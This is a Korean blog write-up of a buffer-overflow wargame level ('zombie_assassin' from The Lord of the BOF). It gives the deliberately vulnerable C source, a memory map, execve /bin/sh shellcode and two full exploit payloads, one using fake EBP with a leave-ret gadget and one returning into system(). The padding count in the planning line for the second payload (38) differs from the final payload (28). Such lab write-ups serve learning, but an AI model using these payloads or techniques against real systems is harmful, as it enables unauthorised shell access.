0x02 Study :)/Pwnable

[LOB] Level16: assassin → zombie_assassin

eli_ez3r 2018. 8. 2. 16:11

zombie_assassin

Keyword : RTL

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}


분기문을 통해서 '\xbf', '\x40' 으로 시작하는 주소들을 모두 필터링 된다.


[assassin@localhost assassin]$ cat /proc/751/maps
08048000-0817d000 r-xp 00000000 08:05 129443     /usr/bin/gdb
0817d000-08184000 rw-p 00134000 08:05 129443     /usr/bin/gdb
08184000-0850f000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so
40014000-40018000 rw-p 00000000 00:00 0
40018000-4004d000 r-xp 00000000 08:05 96962      /usr/lib/libncurses.so.4.0
4004d000-40056000 rw-p 00034000 08:05 96962      /usr/lib/libncurses.so.4.0
40056000-4005a000 rw-p 00000000 00:00 0
4005a000-40076000 r-xp 00000000 08:08 34156      /lib/libm-2.1.3.so
40076000-40077000 rw-p 0001b000 08:08 34156      /lib/libm-2.1.3.so
40077000-40164000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so
40164000-40168000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so
40168000-4016c000 rw-p 00000000 00:00 0
4016c000-40182000 r--p 00000000 08:05 32279      /usr/share/locale/en_US/LC_CTYPE
40182000-40290000 rw-p 00000000 00:00 0
bfffb000-c0000000 rwxp ffffc000 00:00 0


Shellcode를 이용한 공격

shellcode(24byte) :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

payload 시나리오 :
./zombie_assassin `python -c print "&[buf+4]"+"shellcode(24byte)"+"\x90"*12+"&[buf-4]"+"&leave-ret 가젯"

 

&[buf-4] : 0xbffffaac

&leave-ret : 0x08048311

&[buf+4] : 0xbffffab4

 


gdb 통해 얻은 buf의 주소와 실제 구동되는 buf의 주소가 0x10주소 만큼 차이가 나서 삽질을 많이 했다.

leave-ret 을 이용하여 fakeEBP기법을 사용하면 esp가 buf+4 로 이동하기 때문에 buf-4의 주소를 넣어주어야 실제 buf 주소가 실행된다.

eip에는 shellcode가 있는 시작 주소가 들어가야 하기 때문에, buf시작 부분에 shellcode의 시작 주소를 넣어주었다.

 

payload 실제코드 :
./zombie_assassin `python -c 'print "\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`

 


 

RTL (Return to Library)를 이용한 공격

exploit 시나리오 :
./zombie_assassin `python -c print "&system()"+"\x90"4+"&["/bin/sh"]"+"\x90"38+"&[buf-4]"+"&leave-ret 가젯"

&[buf-4] : 0xbffffaac

&[buf+4] : 0xbffffab4

&leave-ret : 0x08048311

&system() : 0x40058ae0

&"/bin/sh" : 0x400fbff9

 

exploit 실제코드:
./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\x90"*28+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`

 

zombie_assassin / no place to hide



 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍